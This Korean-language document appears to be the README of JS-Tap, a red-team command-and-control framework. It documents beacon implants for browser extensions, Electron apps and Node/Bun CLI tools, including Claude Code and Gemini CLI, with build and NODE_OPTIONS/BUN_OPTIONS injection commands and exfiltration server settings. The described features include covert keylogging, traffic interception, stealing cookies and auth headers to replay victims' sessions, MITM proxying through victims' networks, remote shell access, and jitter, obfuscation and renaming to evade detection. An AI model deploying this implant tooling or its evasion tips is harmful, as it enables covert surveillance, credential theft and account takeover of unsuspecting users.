포털에서 Atom 비콘 클라이언트가 선택되면 **도구** 패널에 다음 항목이 표시됩니다:
**브라우저 프록시 패널** — 프록시 시작/중지, CA 인증서 다운로드, 프록시 티켓 생성. 요청은 Electron 앱의 네트워크 컨텍스트를 통해 라우팅됩니다.
**파일 브라우저 탭** — 대상의 파일 시스템을 탐색하고 파일을 읽습니다. BEX Sidecar 파일 브라우저와 동일하지만 Electron 프로세스에서 기본적으로 실행됩니다.
**셸 탭** — 대상에서 명령을 실행합니다. BEX Sidecar 셸과 동일하지만 Node.js `child_process`를 통해 기본적으로 실행됩니다.
**스크린샷 탭** — Atom 비콘 전용. 다음을 제공합니다:
- **지금 캡처** 버튼 — 수동 온디맨드 스크린샷
- **자동 캡처 휴리스틱** — 자동 스크린샷 트리거를 위한 구성 가능한 토글:
- *창 포커스 시 캡처* — 사용자가 앱 창 간에 전환할 때 스크린샷 촬영
- *탐색 시 캡처* — 페이지 탐색 시 스크린샷 촬영 (Slack에서 채널 전환과 같은 SPA 탐색 포함)
- *새 창 시 캡처* — 앱이 새 창을 열 때 스크린샷 촬영
- **쿨다운** — 창당 자동 캡처 간 최소 시간 간격(초)(플러딩 방지)
자동 캡처는 디바운스 트리거를 사용합니다. SPA 탐색의 경우 마지막 탐색/제목 변경 이벤트 이후 3초 후에 스크린샷이 촬영되어, 떠나는 페이지가 아닌 도착한 콘텐츠가 캡처되도록 합니다.
도구 패널 배지는 Atom 비콘 클라이언트에 대해 **내장형**을 표시합니다(OS 액세스는 에이전트 자체 기능이므로 외부 sidecar 바이너리에 의존하지 않기 때문입니다).
### V8 비콘 (Node.js / Bun CLI 앱)
V8 비콘 임플란트는 환경 변수를 통해 Node.js 및 Bun CLI 애플리케이션에 주입됩니다. 대상 애플리케이션의 패치 또는 수정이 필요하지 않습니다.
#### 비콘 빌드하기```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Options:
| Flag | Description |
|---|---|
--server URL | JS-Tap 서버 URL (필수) |
--tag TAG | 포털에 표시되는 클라이언트 태그 (기본값: v8) |
--output PATH |
서버 URL과 태그가 포함된 자체 포함 v8-beacon.js 파일을 생성합니다.
Node.js 애플리케이션의 경우 (Gemini CLI, OpenCode, 사용자 정의 Node.js 도구 등):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Bun 애플리케이션의 경우** (Claude Code, etc.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
두 환경 변수를 동시에 설정하여 두 런타임을 모두 포함할 수 있습니다:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
비콘은 애플리케이션 자체 코드보다 먼저 로드되어 런타임을 계측하기 시작합니다. 대상 애플리케이션은 정상적으로 실행됩니다 — 비콘은 사용자에게 보이지 않습니다.
#### 작동 방식```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
일부 CLI 도구는 스스로를 자식 프로세스로 생성합니다. 예를 들어, Gemini CLI는 부모 프로세스에서 인증을 실행한 후 대화형 세션(실제 API 호출이 발생하는 곳)을 위해 자식 node gemini 프로세스를 생성합니다.
V8 Beacon은 이를 자동으로 처리합니다:
__V8_BEACON_ACTIVE 및 __V8_BEACON_RUNTIME 환경 변수를 설정합니다.__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY를 통해)을 상속받습니다.npm, npx, yarn, tsc, eslint 등)는 항상 건너뜁니다.즉, 부모+자식 프로세스가 있는 Gemini CLI 세션은 포털에서 모든 이벤트가 통합된 단일 클라이언트로 나타납니다.
포털에서 V8 Beacon 클라이언트를 선택하면(Nodes 탭 아래) Tools 패널에서 다음을 제공합니다:
Browser Proxy 패널 — 프록시 시작/중지, CA 인증서 다운로드 및 프록시 티켓 생성. 요청은 Node.js/Bun 프로세스의 네트워크 컨텍스트를 통해 라우팅됩니다.
File Browser 탭 — 대상의 파일 시스템을 탐색하고 파일을 읽습니다. 이는 BEX Sidecar 및 Atom Beacon 파일 브라우저와 동일합니다.
Shell 탭 — Node.js child_process를 통해 대상에서 명령을 실행합니다.
도구 패널 배지는 Built-in을 표시합니다(OS 액세스는 에이전트에 네이티브).
| 애플리케이션 | 런타임 | 상태 |
|---|---|---|
| Gemini CLI | Node.js | 전체 네트워크 가로채기(streamGenerateContent SSE 포함), 키로깅, 파일/쉘 액세스 |
| Claude Code | Bun 1.3.10 | 전체 네트워크 가로채기(/v1/messages SSE 스트리밍 포함), 키로깅, 파일/쉘 액세스 |
단일 스레드 모드(테스트/데모에 적합)에서 jsTapServer.py 스크립트로 JS-Tap을 실행하는 경우 jsTapServer.py 스크립트에 직접 구성 옵션이 있습니다.
프로덕션 사용을 위해서는 JS-Tap을 letsencrypt와 같은 적절한 SSL 인증서를 사용하여 공개적으로 접근 가능한 서버에 호스팅해야 합니다. 이를 배포하는 가장 쉬운 방법은 NGINX가 JS-Tap의 프런트엔드 역할을 하여 letsencrypt 인증서를 처리하고, 복호화된 트래픽을 로컬 HTTP 트래픽으로 JS-Tap에 전달하도록 하는 것입니다(즉, NGINX와 JS-Tap이 동일한 VPS에서 실행).
proxyMode를 true로 설정하면 JS-Tap 서버는 HTTP 모드로 실행되며, X-Forwarded-For 헤더에서 클라이언트 IP 주소를 가져옵니다. NGINX가 이 헤더를 설정하도록 구성되어야 합니다.
proxyMode가 false로 설정되면 JS-Tap은 자체 서명 인증서로 실행되며, 이는 테스트에 유용합니다. 클라이언트 IP는 연결 클라이언트의 소스 IP에서 가져옵니다.
dataDirectory 매개변수는 JS-Tap에 SQLite 데이터베이스와 loot 디렉토리에 사용할 디렉토리를 알려줍니다. 모든 "loot"가 데이터베이스에 저장되는 것은 아니며, 특히 스크린샷과 스크랩된 HTML 파일은 저장되지 않습니다.
서버 포트 구성을 변경하려면 jsTapServer.py의 마지막 줄을 참조하세요.``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### BEX Beacon 구성 (config.json)
`bex-beacon/config.json`에 위치합니다. 이는 모든 빌드 구성(확장, 확장 ID, 사이드카 설정)에 대한 **단일 정보 원천**입니다.```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
확장 프로그램의 manifest 메타데이터와 배포 명명을 제어합니다. 이 필드들을 변경하면 chrome://extensions 또는 about:addons에서 확장 프로그램의 외형을 위장할 수 있습니다.
결정적 빌드를 위한 정적 확장 프로그램 ID를 제어합니다. 설정 방법은 Static Extension IDs를 참조하세요.
| 필드 | 설명 |
|---|---|
domain | JS-Tap 서버의 호스트명 또는 IP. |
port | JS-Tap 서버가 수신 대기 중인 포트. |
비콘이 서버에 체크인하여 텔레메트리를 보고하고 새 작업(주입 명령이나 사이드카 명령 등)을 가져오는 빈도를 제어합니다.
| 필드 | 설명 |
|---|---|
base_interval | 하트비트 간 기본 간격(초). 기본값: 프로덕션 60, 개발/테스트 5. |
jitter_percent | 기본 간격에 적용되는 지터 비율. 30 값은 각 하트비트가 기본 간격의 70%에서 130% 사이의 무작위 시간에 실행됨을 의미합니다. 지터를 없애려면 으로 설정합니다 (디버깅에 유용). |
지터는 OPSEC에 중요합니다 — 비콘이 네트워크 모니터링 도구에 감지될 수 있는 완벽하게 규칙적인 네트워크 패턴을 생성하는 것을 방지합니다. 각 하트비트는 새로운 무작위성으로 다음 하트비트를 예약합니다.
비콘이 모니터링하고 상호 작용하는 도메인을 제어합니다.
| 필드 | 설명 |
|---|---|
whitelist_enabled | false = 모든 도메인 모니터링 (all_domains 모드). true = 화이트리스트 패턴과 일치하는 도메인만 모니터링. |
화이트리스트가 활성화되면 비콘은 여러 계층에서 이를 적용합니다:
이는 엄격한 범위 요구 사항이 있는 레드 팀 작업에 중요합니다. whitelist_enabled: true로 설정하면 비콘이 범위를 벗어난 도메인과 상호 작용하지 않도록 보장합니다.
화이트리스트 패턴 예시:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
BEX Beacon에서 선택적 네이티브 메시징 기능을 제어합니다. 자세한 내용은 위의 [Sidecar](#sidecar-native-messaging) 섹션을 참조하세요.
| 필드 | 설명 |
|---|---|
| `enabled` | `false` = 네이티브 메시징 없음 (기본값). `true` = sidecar 지원 활성화. 확장 매니페스트에 `nativeMessaging` 권한을 추가합니다. |
| `host_name` | 네이티브 메시징 호스트 이름. 기본값: `com.jstap.sidecar` |
| `binary_name` | 컴파일된 sidecar 바이너리의 이름. 기본값: `sidecar`. 대상 시스템에서 바이너리를 위장하려면 이 값을 변경하세요 (예: `chrome-helper`). |
통합 빌드 스크립트는 `extension_ids`의 확장 ID를 sidecar의 구성에 자동으로 동기화하므로, ID는 한 곳에서만 구성하면 됩니다.
### JS-Tap 페이로드 (telemlib.js) 구성
이 구성 변수들은 **initGlobals()** 함수 안에 있습니다.
#### JS-Tap 서버 위치
페이로드가 연결될 JS-Tap 서버의 URL을 구성해야 합니다.```
window.taperexfilServer = "https://127.0.0.1:8444";
trap 또는 implant로 설정합니다. 이는 다음 변수로 설정됩니다:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### 트랩 모드 시작 페이지
트랩 모드에서만 필요합니다. 위의 **운영 모드** 섹션에 있는 설명을 참조하십시오.<br>
iFrame 트랩이 설정되었을 때 사용자가 시작하는 페이지를 설정합니다.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
트랩을 현재 페이지에서 시작하려면, iframe 트랩에서 사용자를 다른 페이지로 리디렉션하는 대신 다음을 사용할 수 있습니다:``` window.taperstartingPage = window.location.href;
#### Client Tag
JS-Tap을 여러 애플리케이션이나 배포 환경에서 동시에 사용할 때, 어떤 페이로드가 로드되었는지 시각적으로 확인하고 싶다면 유용합니다. `/payloads` 디렉토리 전체가 제공되므로, 서로 다른 모드, 시작 페이지, 클라이언트 태그로 구성된 여러 JS-Tap 페이로드를 설정할 수 있습니다.
이 태그 문자열(짧게 유지하세요!)은 JS-Tap 포털에서 클라이언트 별칭 앞에 추가됩니다. 여러 페이로드를 설정하고, 각각 대상 애플리케이션에 맞는 구성을 적용한 후, 클라이언트가 실행 중인 앱을 식별하는 태그를 추가하세요.```
window.taperTag = 'whatever';
클라이언트가 Custom Payload 작업을 확인하는지 여부와 확인 빈도를 구성하는 데 사용됩니다. 지터(jitter) 설정을 통해 선택적으로 최소값 수정자와 최대값 수정자를 설정할 수 있습니다. 이 두 숫자 사이의 임의 값이 선택되어 확인 지연 시간에 추가됩니다. 지터 없음으로 설정하려면 이 값을 0과 0으로 설정하세요.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### 클라이언트 핑거프린팅
이 기능을 활성화하면 다양한 속성을 기반으로 클라이언트의 핑거프린트를 계산할 수 있습니다. 이 핑거프린팅을 통해 매우 짧은 해시가 생성됩니다. **App SettingS**에서 활성화하여 클라이언트 카드에 이 짧은 해시를 선택적으로 표시할 수 있습니다. 클라이언트 목록 필터는 이 핑거프린트를 기준으로 필터링하여 동일한 컴퓨터에서 실행 중일 가능성이 있는 여러 JS-Tap 클라이언트를 식별할 수 있습니다. 참고로, 기업에서 사용자에게 동일한 시스템을 제공하는 경우, 쉽게 동일한 핑거프린트 값을 가질 수 있습니다.
JS-Tap 페이로드에서 핑거프린트 계산을 활성화하려면:```
window.taperFingerprint = true;
지문(해시)이 계산 중이더라도 앱 설정에서 해당 기능이 활성화되어 있지 않으면 클라이언트 카드에 표시되지 않습니다.
지문 해시로 클라이언트 목록을 필터링하여 동일한 컴퓨터일 가능성이 높은 클라이언트를 표시할 수 있습니다.
각 페이지에서 본 HTML 코드의 복사본을 추출할지 여부를 설정하는 true/false 값입니다. 추출된 HTML 파일은 양식 제출 사용자 지정 페이로드를 자동 생성할 때 CSRF 토큰 소스를 찾는 데 필요합니다.``` window.taperexfilHTML = true;
#### 양식 제출 복사
모든 양식 제출의 복사본을 가로챌지 여부를 설정하는 true/false 값입니다.```
window.taperexfilFormSubmissions = true;
XHR 및 Fetch API의 몽키패칭을 활성화합니다. 이는 트랩 모드에서 작동합니다. 임플란트 모드에서는 Fetch API만 몽키패칭됩니다. 몽키패칭을 사용하면 런타임에 JavaScript를 다시 작성할 수 있습니다. 이 기능을 활성화하면 JavaScript 코드에서 사용하는 XHR 및 Fetch 네트워킹 API를 다시 작성하여 해당 네트워크 호출의 내용을 가로챌 수 있습니다. jQuery 및 Ajax 기반 네트워크 호출은 내부적으로 네트워크 호출에 사용하는 XHR API에서 캡처됩니다. API 호출 사용자 정의 페이로드를 자동 생성하는 것은 당연히 이 몽키패치 기능을 사용하여 API 호출을 가로채는 데 달려 있습니다.``` window.monkeyPatchAPIs = true;
## JS-Tap 포털
서버 스크립트가 시작될 때 제공하는 관리자 자격 증명으로 로그인합니다 (`adminCreds.txt`에도 저장됨).
### 클라이언트 관리
클라이언트는 왼쪽에 유형별로 그룹화되어 표시됩니다. 클라이언트 목록 상단의 토글 버튼을 사용하여 보기 간에 전환합니다.
* **앱** — DOM 비콘 클라이언트 (telemlib.js 페이로드에서)
* **브라우저** — BEX 비콘 클라이언트
* **일렉트론** — Atom 비콘 클라이언트 (패치된 Electron 앱에서)
* **노드** — V8 비콘 클라이언트 (Node.js/Bun CLI 앱에서)
클라이언트를 선택하면 오른쪽에 해당 이벤트(전리품)의 시계열이 표시됩니다. 목록을 필터링하면(예: 앱에서 브라우저로 전환), 현재 선택된 전리품 보기는 흐릿해지고 회색조로 바뀌어 "백그라운드" 데이터임을 나타냅니다.
**브라우저** 보기에서 세부 정보 열 머리글에는 **전리품 / 도구** 토글이 표시됩니다.
* **전리품** 탭 — 방문한 도메인과 주입 컨트롤을 보여주는 도메인 카드.
* **도구** 탭 — 브라우저 프록시 패널(항상 표시) 및 사이드카 패널(비콘이 지원하는 경우 접을 수 있음).
**일렉트론** 보기의 Atom 비콘 클라이언트와 **노드** 보기의 V8 비콘 클라이언트에도 **전리품 / 도구** 토글이 있습니다. 해당 도구 패널은 별도의 사이드카 바이너리 없이 내장 파일 탐색 및 셸 액세스를 제공합니다. Atom 비콘에는 추가로 스크린샷 컨트롤이 있습니다.
**BEX 비콘(브라우저)** 은 확장하여 방문한 모든 도메인을 볼 수 있습니다. 도메인 목록에서 DOM 비콘 주입을 트리거할 수 있습니다. 사이드바의 BEX 비콘 카드는 성공적으로 생성된 DOM 비콘의 요약을 표시합니다.
클라이언트 목록은 시간(첫 번째 확인, 마지막 업데이트 수신)별로 정렬할 수 있으며, "별표" 표시된 클라이언트만 표시하도록 필터링할 수 있습니다. 또한 클라이언트 목록 위에 빠른 필터 검색이 있어 입력한 문자열이 있는 클라이언트를 빠르게 필터링할 수 있습니다. 페이로드 구성에서 선택적 태그를 설정한 경우 유용합니다. 선택적 태그는 클라이언트 별칭 앞에 추가되어 표시됩니다. 필터링은 선택적 태그, 별칭, IP 주소, 지문, 브라우저, 플랫폼, 클라이언트 유형, 도메인 및 UUID를 기준으로 확인됩니다. 검색어 앞에 '!'를 붙여 필터를 반전시킬 수 있습니다. 예를 들어 Firefox를 사용하지 않는 모든 클라이언트를 표시하려면 "!firefox" 필터 용어를 사용합니다. 여러 용어를 `&&`로 결합하여 AND 논리를 적용할 수 있습니다(예: `linux && chrome && !bex`).
각 클라이언트에는 'x' 버튼(별표 버튼 근처)이 있습니다. 이 버튼을 사용하면 해당 클라이언트의 세션을 삭제할 수 있습니다. 정크 데이터나 쓸모없는 데이터를 보내는 경우, 해당 클라이언트가 향후 데이터를 제출하지 못하도록 방지할 수 있습니다.
JS-Tap 페이로드가 시작되면 JS-Tap 서버에서 세션을 가져옵니다. 새 클라이언트 세션 발급을 중지하려면 상단의 **앱 설정**을 선택하여 새 클라이언트 세션을 비활성화할 수 있습니다. 또한 클라이언트 "지문" 표시를 활성화할 수 있습니다. 지문은 특정 시스템의 사용자 브라우저에 대해 고유해야 하는 매우 짧은 해시 값입니다. 이는 동일한 개인일 수 있는 JS-Tap 클라이언트를 식별하는 데 도움이 될 수 있습니다. JS-Tap 클라이언트는 지문 계산을 수행하도록 구성되어야 합니다. 클라이언트 필터 검색창도 지문 필드를 검색하므로 동일한 지문을 가진 클라이언트를 쉽게 표시할 수 있습니다.
**앱 설정**에서 이메일 알림을 구성하여 새 클라이언트 또는 클라이언트의 새 이벤트에 대해 알림을 받을 수 있습니다. 이는 SMTP(TLS) 기반이며, 여러 수신자에게 알림 이메일을 보낼 수 있습니다. "이메일 지연" 옵션은 지속적인 이메일 스팸을 방지하며, 지연 기간 동안 발생한 모든 알림의 요약 이메일을 받게 됩니다.
**앱 설정**에서 클라이언트 목록이 자동으로 업데이트되는 빈도를 변경할 수 있으며, 특정 IP 주소가 JS-Tap 세션을 받지 못하도록 차단할 수도 있습니다.
JS-Tap 네트워크 트래픽을 검사로부터 더 잘 숨기려면 **앱 설정**에서 트래픽 난독화를 활성화하세요. 이는 webcrypto API를 사용할 수 있는 HTTPS를 사용하는 애플리케이션에서 작동합니다. JS-Tap 클라이언트는 모든 트래픽을 애플리케이션 수준에서 암호화하여 C2 서버의 단일 API 엔드포인트로 보내며, 서버는 이를 복호화하고 서버 측에서 라우팅합니다. JS-Tap C2의 응답(예: 사용자 정의 페이로드)도 이 단일 API 엔드포인트에서 오며 암호화됩니다. 탭된 브라우저가 웹 암호화 API를 지원하지 않는 경우 JS-Tap은 기존의 난독화되지 않은 트래픽으로 대체됩니다.
각 클라이언트에는 "메모" 기능이 있습니다. 특정 클라이언트에 대한 중요한 정보(자격 증명, API 토큰 등)를 발견하면 클라이언트 메모에 추가할 수 있습니다. 모든 클라이언트를 검토하고 메모를 작성한 후 상단의 **모든 메모 보기** 기능을 사용하여 모든 클라이언트의 모든 메모를 한 번에 내보낼 수 있습니다.
이벤트 목록은 이벤트 유형별로 필터링할 수 있습니다(예: 스크린샷). DOM 비콘 클라이언트의 경우 이벤트/전리품 목록은 자동으로 업데이트되지 않습니다(클라이언트 목록은 업데이트됨). 최신 이벤트를 로드하려면 왼쪽에서 클라이언트를 다시 선택해야 합니다. Atom 비콘 및 BEX 비콘 클라이언트는 자동 새로고침 이벤트 보기를 사용하며, 스크롤 위치를 재설정하지 않고 새 이벤트를 증분 추가합니다.
### BEX 주입
비콘의 도메인 인텔리전스를 볼 때 **DOM 비콘 주입**을 클릭하여 주입을 대기열에 추가할 수 있습니다.
* 주입 스크립트가 요청되면 "성공" 배지가 나타납니다.
* 생성된 DOM 비콘의 별칭은 도메인 카드와 비콘의 사이드바 카드에 자동으로 연결되어 표시됩니다.
* 사용자가 현재 대상 도메인에 있는 경우 즉시 주입이 발생하고, 그렇지 않으면 다음 방문 시 발생합니다.
### JS-Tap 티켓 및 JS-Tap 컨덕터 (세션 복제)
BEX 비콘은 대상이 방문하는 모든 도메인에 대해 쿠키(httpOnly 포함), localStorage, sessionStorage 및 인증 헤더를 캡처합니다. **JS-Tap 티켓**을 사용하면 해당 세션 데이터를 휴대용 blob으로 내보낼 수 있으며, **JS-Tap 컨덕터**는 이를 사용자 브라우저에서 재생하여 피해자처럼 탐색할 수 있게 합니다.
#### JS-Tap 티켓 생성
1. JS-Tap 포털에서 BEX 비콘 클라이언트를 선택하고 도메인 목록을 확장합니다.
2. 복제하려는 도메인 카드의 **세션 티켓** 버튼을 클릭합니다.
3. 티켓이 base64로 인코딩된 문자열로 클립보드에 복사됩니다.
티켓에는 다음이 포함됩니다.
- 도메인의 모든 쿠키 (httpOnly, secure, sameSite, path, domain, 만료 메타데이터 포함)
- 캡처된 요청 헤더 (Authorization, x-api-key 등)
- localStorage 및 sessionStorage 키/값 쌍
- 피해자의 원시 User-Agent 문자열, 플랫폼 및 브라우저
- 도메인의 방문한 URL (최신순)
**중요:** 올바른 도메인 항목에서 티켓을 생성해야 합니다. 예를 들어, `reddit.com`과 `www.reddit.com`은 비콘 데이터에서 별도의 도메인 항목입니다. 인증 쿠키를 보유한 항목을 선택하세요.
#### JS-Tap 컨덕터 설치
JS-Tap 컨덕터는 독립형 Firefox MV2 확장 프로그램입니다. **반드시 Firefox여야 합니다** — Firefox의 MV2 `webRequestBlocking` API를 사용하여 나가는 요청에 헤더를 주입하며, Chrome MV3에서는 지원되지 않습니다.
임시 확장 프로그램으로 로드하려면:
1. Firefox를 열고 `about:debugging#/runtime/this-firefox`로 이동합니다.
2. **"임시 확장 프로그램 로드..."** 를 클릭합니다.
3. `jstap-conductor/` 디렉터리로 이동하여 `manifest.json`을 선택합니다.
JS-Tap 컨덕터 아이콘(JS-Tap 로고)이 Firefox 도구 모음에 나타납니다. 임시 확장 프로그램은 Firefox를 닫을 때까지 유지되며, 다시 시작한 후에는 다시 로드해야 합니다.
#### JS-Tap 컨덕터 사용
1. 도구 모음에서 JS-Tap 컨덕터 아이콘을 클릭하여 팝업을 엽니다.
2. 텍스트 영역에 JS-Tap 티켓을 붙여넣고 **가져오기**를 클릭합니다.
3. JS-Tap 컨덕터는 다음을 수행합니다.
- 도메인의 **모든 쿠키를 설정**하며, httpOnly 쿠키도 포함합니다 (확장 프로그램에 이 권한이 있습니다).
- **헤더 주입 등록** — Authorization 헤더 및 기타 캡처된 헤더는 `webRequest.onBeforeSendHeaders`를 통해 일치하는 모든 요청에 주입됩니다.
- **User-Agent 스푸핑** — 피해자의 User-Agent 문자열이 해당 도메인의 모든 나가는 요청 헤더에서 사용자의 것을 대체합니다.
- **저장소 채우기** — 도메인으로 이동할 때 localStorage 및 sessionStorage 항목이 기록됩니다.
- **navigator API 스푸핑** — Firefox를 사용 중이지만, 페이지의 JavaScript 컨텍스트에서 `navigator.userAgent`, `navigator.platform`, `navigator.appVersion`이 패치되어 피해자의 값을 반환합니다. 이는 클라이언트 측 UA 검사를 무력화합니다.
4. 가져온 티켓에서 **열기**를 클릭하여 첫 번째 캡처된 URL로 이동하거나 도메인으로 수동으로 이동합니다.
5. 이제 피해자의 세션으로 탐색하게 됩니다.
팝업에는 쿠키, 헤더, localStorage 및 sessionStorage 항목의 배지 수가 있는 **티켓 기록**(최근 10개)이 표시됩니다. 세션 티켓과 프록시 티켓 모두 기록에 표시됩니다. 각 티켓은 활성화/비활성화 또는 삭제할 수 있습니다. 프록시 티켓은 대상 포트와 도메인을 보여주는 "프록시" 배지로 시각적으로 구분됩니다.
**비활성화**를 사용하여 세션 주입 기능을 잃지 않고 티켓을 비활성화하거나, **삭제**를 사용하여 영구적으로 제거합니다.
#### 작동 확인
- **쿠키:** Firefox DevTools → 저장소 → 쿠키를 엽니다. httpOnly 쿠키를 포함하여 가져온 모든 쿠키가 표시되어야 합니다.
- **헤더:** DevTools → 네트워크 탭을 엽니다. 나가는 요청의 Authorization 및 User-Agent 헤더가 피해자의 값과 일치하는지 확인합니다.
- **저장소:** DevTools → 저장소 → 로컬 저장소 / 세션 저장소를 엽니다. 가져온 키가 있는지 확인합니다.
- **navigator 스푸핑:** 브라우저 콘솔을 열고 `navigator.userAgent`를 입력합니다. Firefox의 UA가 아닌 피해자의 UA 문자열을 반환해야 합니다.
### 브라우저 프록시
브라우저 프록시를 사용하면 브라우저 트래픽을 실시간으로 피해자의 브라우저(또는 Node.js/Electron 프로세스)를 통해 라우팅할 수 있습니다. 요청은 피해자의 네트워크 컨텍스트에서 실행되므로, 대상 사이트는 피해자의 IP 및 TLS 지문을 보게 됩니다.
프록시는 **BEX 비콘**, **Atom 비콘** 및 **V8 비콘**에서 지원됩니다.
#### 작동 방식
1. 포털에서 비콘을 선택하고 **도구** 탭으로 전환합니다.
2. 브라우저 프록시 패널에서 **프록시 시작**을 클릭합니다. 서버는 로컬 포트를 할당합니다(패널에 표시됨).
3. 브라우저가 `127.0.0.1:<port>`를 HTTP/HTTPS 프록시로 사용하도록 구성합니다.
4. **CA 인증서**를 다운로드하여 브라우저의 인증서 저장소에 설치합니다(HTTPS MITM에 필요).
5. 정상적으로 탐색합니다. 모든 요청은 비콘의 WebSocket 연결을 통해 전달되고 피해자의 네트워크에서 실행됩니다.
프록시는 동적으로 생성된 도메인별 인증서(JS-Tap CA가 서명)를 사용하여 TLS 종료를 수행합니다. 이를 통해 HTTPS 트래픽을 투명하게 검사하고 중계할 수 있습니다.
#### 구성 가능한 워크플로
프록시는 "멍청한 파이프"입니다. 운영자의 브라우저가 보내는 것을 정확히 전달하며, 자격 증명을 주입하거나 수정하지 않습니다. 이로 인해 세션 티켓과 함께 구성 가능하여 네 가지 워크플로가 가능합니다.
| 워크플로 | 설정 | 결과 |
|---|---|---|
| **프록시만** | 프록시 시작, 세션 티켓 없음 | 피해자의 네트워크/IP를 통한 인증되지 않은 탐색 |
| **세션 티켓만** | 컨덕터에서 세션 티켓 가져오기, 프록시 없음 | 운영자 IP에서 직접 인증된 탐색 |
| **프록시 + 세션 티켓** | 프록시 및 세션 티켓 모두 활성화 | 피해자의 네트워크를 통한 인증된 탐색 — 컨덕터가 운영자 브라우저에 쿠키/헤더/UA를 주입하고, MITM 프록시가 이를 비콘으로 전달 |
| **프록시 + 자체 로그인** | 프록시 시작, 프록시를 통해 수동 로그인 | 피해자의 네트워크를 통한 운영자 자체 세션 |
**프록시 + 세션 티켓** 워크플로의 경우 JS-Tap 컨덕터가 모든 세션 주입(쿠키, 헤더, User-Agent, 저장소, navigator 스푸핑)을 처리합니다. MITM 프록시는 운영자의 전체 요청(주입된 헤더 포함)을 비콘으로 전달하고, 비콘은 피해자의 네트워크에서 fetch를 실행합니다.
#### 프록시 티켓
프록시가 활성화된 상태에서 **프록시 티켓**을 클릭하면 JS-Tap 컨덕터 호환 티켓이 생성되며, 이 티켓은 컨덕터의 프록시 설정을 자동으로 구성합니다. 컨덕터에서 프록시 티켓을 가져오면 프록시 설정을 수동으로 구성하지 않고도 Firefox 트래픽을 비콘을 통해 라우팅할 수 있습니다.
### 사이드카 / 도구 패널 사용
BEX 비콘 클라이언트에 사이드카가 연결된 경우, **도구** 탭에 **사이드카** 패널이 표시됩니다(기본적으로 접혀 있으며 브라우저 프록시 패널 아래에 있음). Atom 비콘 및 V8 비콘 클라이언트는 동일한 패널을 **도구**로 표시하며 **내장** 배지가 있습니다(OS 액세스가 에이전트에 기본 제공되므로). 패널에는 다음 탭이 있습니다.
#### 파일 브라우저 탭
- 패널이 처음 로드될 때 파일 브라우저는 자동으로 사용자의 홈 디렉터리를 나열합니다.
- 폴더 이름 또는 `..` 항목을 클릭하여 디렉터리를 이동합니다.
- 경로 입력란은 항상 현재 위치를 반영하며 수동으로 편집할 수 있습니다.
- 파일에서 **읽기**를 클릭하면 내용을 볼 수 있습니다(base64로 디코딩되어 텍스트로 표시됨).
- **디렉터리 목록으로 돌아가기**를 클릭하면 파일 보기에서 돌아옵니다.
- **업로드:** 파일을 선택하고 **업로드**를 클릭하면 현재 탐색 중인 디렉터리에 파일이 기록됩니다. 업로드 성공 후 목록이 자동으로 새로고침됩니다. 최대 파일 크기는 700KB입니다.
#### 셸 탭
- 명령 간에 작업 디렉터리(CWD)를 추적하는 대화형 터미널입니다.
- 프롬프트에는 대상 시스템의 현재 디렉터리가 표시됩니다(예: `/home/user $ `).
- 명령을 입력하고 **Enter** 또는 **실행**을 클릭하여 실행합니다.
- CWD는 명령 간에 유지됩니다(`cd /tmp` 후 `ls`는 `/tmp`를 나열합니다).
- **명령 기록:** 위/아래 화살표 키를 사용하여 이전 명령을 순환합니다.
- **팝 아웃:** **팝 아웃** 버튼을 클릭하면 독립 실행형 창에서 셸이 열리며 자체 제목 표시줄, 전체 명령 기록 및 독립적 작업이 가능합니다.
- 출력은 색상으로 구분됩니다: 프롬프트는 녹색, stdout은 흰색, stderr는 빨간색입니다.
- CWD 추적은 POSIX 셸 구문을 사용하며 Linux/macOS 대상에서 작동합니다.
#### 스크린샷 탭 (Atom 비콘 전용)
- **지금 캡처** — 추적 중인 모든 창의 스크린샷을 수동으로 트리거합니다.
- **자동 캡처 토글** — 창 포커스, 탐색 및 새 창 이벤트에 대한 자동 스크린샷을 활성화/비활성화합니다.
- **쿨다운** — 창당 자동 캡처 사이의 최소 시간(초)(기본값: 30, 최소: 5).
- **설정 저장**을 클릭하면 토글/쿨다운 변경 사항이 실시간으로 에이전트에 푸시됩니다.
